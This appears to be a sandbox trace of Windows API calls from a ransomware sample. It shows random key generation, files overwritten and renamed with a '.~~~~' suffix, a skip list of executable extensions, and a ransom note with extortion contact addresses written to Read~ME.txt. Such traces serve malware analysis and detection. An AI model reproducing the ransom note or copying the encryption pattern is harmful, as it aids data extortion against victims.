	[0088.017] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5ae0
	[0088.017] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtmtxt.shx"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtmtxt.shx.~~~~")) returned 1
	[0088.018] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5ae0 | out: hHeap=0x300000) returned 1
	[0088.018] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0088.018] GetLastError () returned 0x0
	[0088.019] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0088.020] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0088.020] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0088.020] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0088.020] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0088.020] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0088.020] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20801033442) returned 1
	[0088.020] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9e4443d0, dwHighDateTime=0x1d60e1e)) 
	[0088.020] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0088.020] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0088.020] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0088.020] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a68b8
	[0088.020] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0088.020] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a68b8 | out: hHeap=0x300000) returned 1
	[0088.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0088.021] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0088.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b62c8
	[0088.021] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0088.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b5c98
	[0088.021] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b62c8 | out: hHeap=0x300000) returned 1
	[0088.021] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0088.021] GetLastError () returned 0x0
	[0088.021] GetLastError () returned 0x0
	[0088.021] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0088.021] GetLastError () returned 0x0
	[0088.021] GetLastError () returned 0x0
	[0088.032] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0088.032] WriteFile (in: hFile=0x134, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0088.034] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0088.034] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.034] WriteFile (in: hFile=0x134, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0088.034] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0088.034] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0088.034] CloseHandle (hObject=0x134) returned 1
	[0088.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f13d0
	[0088.035] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg.~~~~")) returned 1
	[0088.035] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f13d0 | out: hHeap=0x300000) returned 1
	[0088.035] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0088.035] GetLastError () returned 0x0
	[0088.036] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0088.037] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0088.037] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0088.037] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0088.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0088.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0088.037] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20802727324) returned 1
	[0088.037] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9e46a530, dwHighDateTime=0x1d60e1e)) 
	[0088.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0088.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0088.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0088.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27f9c48
	[0088.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0088.037] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9c48 | out: hHeap=0x300000) returned 1
	[0088.038] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0088.038] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0088.038] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b64c0
	[0088.038] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0088.038] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b5c98
	[0088.038] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b64c0 | out: hHeap=0x300000) returned 1
	[0088.038] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0088.038] GetLastError () returned 0x0
	[0088.038] GetLastError () returned 0x0
	[0088.038] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0088.038] GetLastError () returned 0x0
	[0088.038] GetLastError () returned 0x0
	[0088.047] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0088.047] WriteFile (in: hFile=0x134, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0088.049] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0088.052] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.052] WriteFile (in: hFile=0x134, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0088.067] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0088.067] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0088.067] CloseHandle (hObject=0x134) returned 1
	[0088.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x2802118
	[0088.067] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpwec.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpwec.dll.~~~~")) returned 1
	[0088.068] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2802118 | out: hHeap=0x300000) returned 1
	[0088.068] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0088.068] GetLastError () returned 0x0
	[0088.506] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0088.506] WriteFile (in: hFile=0x12c, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x1f8fed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x1f8fed8*=0x35c, lpOverlapped=0x0) returned 1
	[0088.508] CloseHandle (hObject=0x12c) returned 1
	[0088.508] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7390 | out: hHeap=0x300000) returned 1
	[0088.508] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8858 | out: hHeap=0x300000) returned 1
	[0088.508] RtlWakeConditionVariable () returned 0x365f70
	[0088.508] GetCurrentThreadId () returned 0xaf0
	[0088.508] GetCurrentThreadId () returned 0xaf0
	[0088.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8858
	[0088.508] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a85f8 | out: hHeap=0x300000) returned 1
	[0088.508] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38cf50 | out: hHeap=0x300000) returned 1
	[0088.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a85f8
	[0088.508] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\Read~ME.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c
	[0088.516] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0088.516] WriteFile (in: hFile=0x12c, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x1f8fed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x1f8fed8*=0x35c, lpOverlapped=0x0) returned 1
	[0088.518] CloseHandle (hObject=0x12c) returned 1
	[0088.518] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a85f8 | out: hHeap=0x300000) returned 1
	[0088.518] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8858 | out: hHeap=0x300000) returned 1
	[0088.518] RtlWakeConditionVariable () returned 0x365f70
	[0088.518] GetCurrentThreadId () returned 0xaf0
	[0088.518] GetCurrentThreadId () returned 0xaf0
	[0088.518] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39a388
	[0088.518] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38dab8 | out: hHeap=0x300000) returned 1
	[0088.518] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38cf88 | out: hHeap=0x300000) returned 1
	[0088.518] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38dab8
	[0088.518] lstrlenW (lpString=".scr") returned 4
	[0088.518] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png", lpSrch=".scr") returned 0x0
	[0088.518] lstrlenW (lpString=".cmd") returned 4
	[0088.518] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png", lpSrch=".cmd") returned 0x0
	[0088.518] lstrlenW (lpString=".dll") returned 4
	[0088.518] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png", lpSrch=".dll") returned 0x0
	[0088.518] lstrlenW (lpString=".bat") returned 4
	[0088.518] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png", lpSrch=".bat") returned 0x0
	[0088.518] lstrlenW (lpString=".cpl") returned 4
	[0088.518] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png", lpSrch=".cpl") returned 0x0
	[0088.519] lstrlenW (lpString=".sys") returned 4
	[0088.519] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png", lpSrch=".sys") returned 0x0
	[0088.519] lstrlenW (lpString=".msc") returned 4
	[0088.519] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png", lpSrch=".msc") returned 0x0
	[0088.519] lstrlenW (lpString=".com") returned 4
	[0088.519] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png", lpSrch=".com") returned 0x0
	[0088.519] lstrlenW (lpString=".lnk") returned 4
	[0088.519] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png", lpSrch=".lnk") returned 0x0
	[0088.519] lstrlenW (lpString=".msp") returned 4
	[0088.519] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png", lpSrch=".msp") returned 0x0
	[0088.519] lstrlenW (lpString=".pif") returned 4
	[0088.519] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png", lpSrch=".pif") returned 0x0
	[0088.519] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0088.519] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png", lpSrch="msp\r\n.pif") returned 0x0
	[0088.519] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-back-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.523] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38dab8 | out: hHeap=0x300000) returned 1
	[0088.523] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a388 | out: hHeap=0x300000) returned 1
	[0088.523] RtlWakeConditionVariable () returned 0x365f70
	[0088.523] GetCurrentThreadId () returned 0xaf0
	[0088.523] GetCurrentThreadId () returned 0xaf0
	[0088.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39a388
	[0088.523] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38dd58 | out: hHeap=0x300000) returned 1
	[0088.523] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38d068 | out: hHeap=0x300000) returned 1
	[0088.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38dd58
	[0088.523] lstrlenW (lpString=".scr") returned 4
	[0088.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png", lpSrch=".scr") returned 0x0
	[0088.523] lstrlenW (lpString=".cmd") returned 4
	[0088.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png", lpSrch=".cmd") returned 0x0
	[0088.523] lstrlenW (lpString=".dll") returned 4
	[0088.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png", lpSrch=".dll") returned 0x0
	[0088.523] lstrlenW (lpString=".bat") returned 4
	[0088.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png", lpSrch=".bat") returned 0x0
	[0088.524] lstrlenW (lpString=".cpl") returned 4
	[0088.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png", lpSrch=".cpl") returned 0x0
	[0088.524] lstrlenW (lpString=".sys") returned 4
	[0088.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png", lpSrch=".sys") returned 0x0
	[0088.524] lstrlenW (lpString=".msc") returned 4
	[0088.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png", lpSrch=".msc") returned 0x0
	[0088.524] lstrlenW (lpString=".com") returned 4
	[0088.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png", lpSrch=".com") returned 0x0
	[0088.524] lstrlenW (lpString=".lnk") returned 4
	[0088.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png", lpSrch=".lnk") returned 0x0
	[0088.524] lstrlenW (lpString=".msp") returned 4
	[0088.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png", lpSrch=".msp") returned 0x0
	[0088.524] lstrlenW (lpString=".pif") returned 4
	[0088.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png", lpSrch=".pif") returned 0x0
	[0088.524] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0088.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png", lpSrch="msp\r\n.pif") returned 0x0
	[0088.524] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.527] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38dd58 | out: hHeap=0x300000) returned 1
	[0088.527] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a388 | out: hHeap=0x300000) returned 1
	[0088.527] RtlWakeConditionVariable () returned 0x365f70
	[0088.527] GetCurrentThreadId () returned 0xaf0
	[0088.615] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394860) returned 1
	[0088.620] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0088.620] CryptReleaseContext (hProv=0x394860, dwFlags=0x0) returned 1
	[0088.620] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0088.620] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0088.620] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0088.620] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20861057899) returned 1
	[0088.621] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9e9eb810, dwHighDateTime=0x1d60e1e)) 
	[0088.621] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0088.621] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0088.621] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0088.621] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e4a50
	[0088.621] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0088.621] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e4a50 | out: hHeap=0x300000) returned 1
	[0088.621] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0088.621] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0088.621] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0088.621] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0088.621] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7d10
	[0088.621] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.621] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0088.621] GetLastError () returned 0x0
	[0088.621] GetLastError () returned 0x0
	[0088.621] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0088.621] GetLastError () returned 0x0
	[0088.622] GetLastError () returned 0x0
	[0088.625] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffff8ed2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0088.625] WriteFile (in: hFile=0x12c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x712e, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x1f8fec0*=0x712e, lpOverlapped=0x0) returned 1
	[0088.626] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0088.626] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.626] WriteFile (in: hFile=0x12c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0088.626] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
